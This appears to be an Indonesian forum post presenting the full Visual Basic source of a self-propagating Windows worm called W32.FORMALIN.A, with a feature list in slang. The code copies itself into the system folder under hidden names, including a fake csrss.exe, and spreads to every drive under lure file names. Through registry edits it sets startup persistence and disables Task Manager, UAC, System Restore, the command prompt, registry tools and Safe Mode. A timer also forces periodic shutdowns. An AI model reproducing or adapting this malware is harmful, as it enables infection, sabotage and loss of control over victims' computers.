Virus yang gw kasi codename : W32.FORMALIN.A / VB.Worm.Formalin.A
punya kemampuan kaya gini :
- Menyamar sebagai Folder windows xp
- Membuat tempat tinggal di system
- menempatkan 4 file induk sebagai penghuninya
- apabila salah satu dari ke 4 file induk tsbt dihapus maka akan membuatnya kembali
- mensetting attribut 4 file induk tadi menjadi super hidden
- membuat salinan virus setiap 30 detik diseluruh drive dari drive A: - Z: (termasuk flash disk) dengan 15 nama file yang menarik, yg bisa membuat orang ketipu
- apabila salah satu salinan di drive tersebut di hapus maka 30 detik yg akan datang kembali membuat salinan virusnya.
- mencegah dan menghapus virus lain yg ikut-ikutan menginfeksi kompi korbanya
- mematikan Task Manager (CTRL+ALT+DEL) menjadi tidak berfungsi alias terkunci
- mematikan fitur keamanan <UAC-User Account Control> di windows vista
- mematikan System Restore agar korban tidak bisa kembali ke waktu sebelumnya
- Mematikan search (pencarian) agar korban tidak bisa menggunakannya utk mencari virus
- menghilangkan Folder Options agar virus tetap tidak dpt terlihat
- selalu mensetting otomatis folder option agar selalu memilih Hidden
- mematikan DOS Command Prompt agar korban tdk bisa membunuh proses virus di memory lewat DOS
- mensetting registry agar otomatis menjalankan semua file induk saat Windows Startup
- menampilkan pesan saat login kekomputer
- membuat CD/DVD-RW menjadi ngk bisa memburing
- Melumpuhkan SAFE-MODE agar korban tidak bisa memasuki modus ini, apabila korban nekad memasuki akan melihat BLUE SCREEN DEATH yg biasa terjadi pada windows yg mengalami crash atau hang berat
- Shutdown komputer korbanya setiap 1 jam sekali secara diam-diam
- Virus tidak banyak memakan resource memory... low priority
<-----------------------------------------------scipt mulai dari sini-------------------------------------------->
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Private Function DriveType(Drive As String) As String
Dim sAns As String, lAns As Long
If Len(Drive) = 1 Then Drive = Drive & ":\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
Then Drive = Drive & "\"
lAns = GetDriveType(Drive)
Select Case lAns
Case 2
sAns = "Removable Drive"
Case 3
sAns = "Fixed Drive"
Case 4
sAns = "Remote Drive"
Case 5
sAns = "CD-ROM"
Case 6
sAns = "RAM Disk"
Case Else
sAns = "Drive Doesn't Exist"
End Select
DriveType = sAns
End Function
Private Sub Form_Load()
On Error Resume Next
Dim Rumah As Variant
Dim FolderSYSTEM As Object
Set Rumah = CreateObject("scripting.filesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)
If App.PrevInstance = True Then End
App.TaskVisible = False
App.Title = ""
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSYSTEM & "\Pocong.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSYSTEM & "\Genderowo.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSYSTEM & "\Kuntilanak.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSYSTEM & "\drivers\csrss.exe"
SetFileAttributes FolderSYSTEM & "\Pocong.exe", vbHidden + vbSystem
SetFileAttributes FolderSYSTEM & "\Genderowo.exe", vbHidden + vbSystem
SetFileAttributes FolderSYSTEM & "\Kuntilanak.exe", vbHidden + vbSystem
If App.PrevInstance = True Then End
Shell FolderSYSTEM & "\drivers\csrss.exe", vbNormalFocus
Shell FolderSYSTEM & "\Pocong.exe", vbNormalFocus
Shell FolderSYSTEM & "\Genderowo.exe", vbNormalFocus
Shell FolderSYSTEM & "\Kuntilanak.exe", vbNormalFocus
End Sub
Private Sub SebarkanDiri()
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte
For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"
If DriveType(sDrive) <> "Drive Doesn't Exist" Then
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "New Folder.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Lagu-lagu.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Porno Pictures.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Bocoran soal UAN dan UAS.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "My Completed Downloads.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Wallpaper Picture.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Crack Program.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Jgn dibuka !!! .exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Nitip Data (jgn dihapus).exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Data-data.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Games.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Antivirus Update.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Gambar.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Foto-foto cewe.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Cheat games.exe"
End If
Next
End Sub
Public Sub UtakAtikRegistry()
Dim Paray As Variant
Dim Rumah As Variant
Dim FolderSYSTEM As Object
Set Rumah = CreateObject("scripting.filesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)
Set Paray = CreateObject("Wscript.Shell")
Paray.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
Paray.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Your computer has been infected virus Formalin"
Paray.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA", 0, "REG_DWORD"
Paray.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\W32.Formalin.Beta", FolderSYSTEM & "\Pocong.exe"
Paray.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Tweak System", FolderSYSTEM & "\Genderowo.exe"
Paray.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Optimize Windows", FolderSYSTEM & "\Kuntilanak.exe"
Paray.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\System32", FolderSYSTEM & "\drivers\csrss.exe"
Paray.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "2", "REG_DWORD"
Paray.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
Paray.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden", "0", "REG_DWORD"
Paray.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", "0", "REG_DWORD"
Paray.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "2", "REG_DWORD"
Paray.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
Paray.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden", "0", "REG_DWORD"
Paray.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", "0", "REG_DWORD"
Paray.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableConfig", "1", "REG_DWORD"
Paray.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableSR", "1", "REG_DWORD"
Paray.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\LimitSystemRestoreCheckpointing", "1", "REG_DWORD"
Paray.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\DisableMSI", "1", "REG_DWORD"
Paray.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
Paray.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD", "1", "REG_DWORD"
Paray.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
Paray.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
Paray.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCDBurning", "1", "REG_DWORD"
Paray.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kspoold.exe\Debugger", "cmd.exe /c del"
Paray.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kspool.exe\Debugger", "cmd.exe /c del"
Paray.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger", "calc.exe"
Paray.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe\Debugger", "calc"
Paray.RegDelete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E97D-E325-11CE-BFC1-08002BE10318}\"
Paray.RegDelete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}\"
Paray.RegDelete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{71A27CDD-812A-11D0-BEC7-08002BE2092F}\"
Paray.RegDelete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{745A17A0-74D3-11D0-B6FE-00A0C90F57DA}\"
Paray.RegDelete "HKEY_LOCAL_MACHINE\SYSTEM\LastKnownGoodRecovery\"
End Sub
Private Sub TimerSebarkanDiri_Timer()
On Error Resume Next
Dim Rumah As Variant
Dim sysfolder As Object
Set Rumah = CreateObject("scripting.filesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSYSTEM & "\Pocong.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSYSTEM & "\Genderowo.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSYSTEM & "\Kuntilanak.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSYSTEM & "\drivers\csrss.exe"
SetFileAttributes FolderSYSTEM & "\Pocong.exe", vbHidden + vbSystem
SetFileAttributes FolderSYSTEM & "\Genderowo.exe", vbHidden + vbSystem
SetFileAttributes FolderSYSTEM & "\Kuntilanak.exe", vbHidden + vbSystem
SetFileAttributes FolderSYSTEM & "\drivers\csrss.exe", vbHidden + vbSystem
SetFileAttributes FolderSYSTEM, vbHidden + vbSystem
Call SebarkanDiri
End Sub
Private Sub Shutdown_Timer()
On Error Resume Next
If Minute(Now) Mod 3600 = 0 Then
hell "shutdown.exe -f -s -t 0", vbHide
End If
End Sub
<--------------------------------------------------------akhir dari script---------------------------------------------->
udeh dolo....gw cape ngetik nya........ -__-"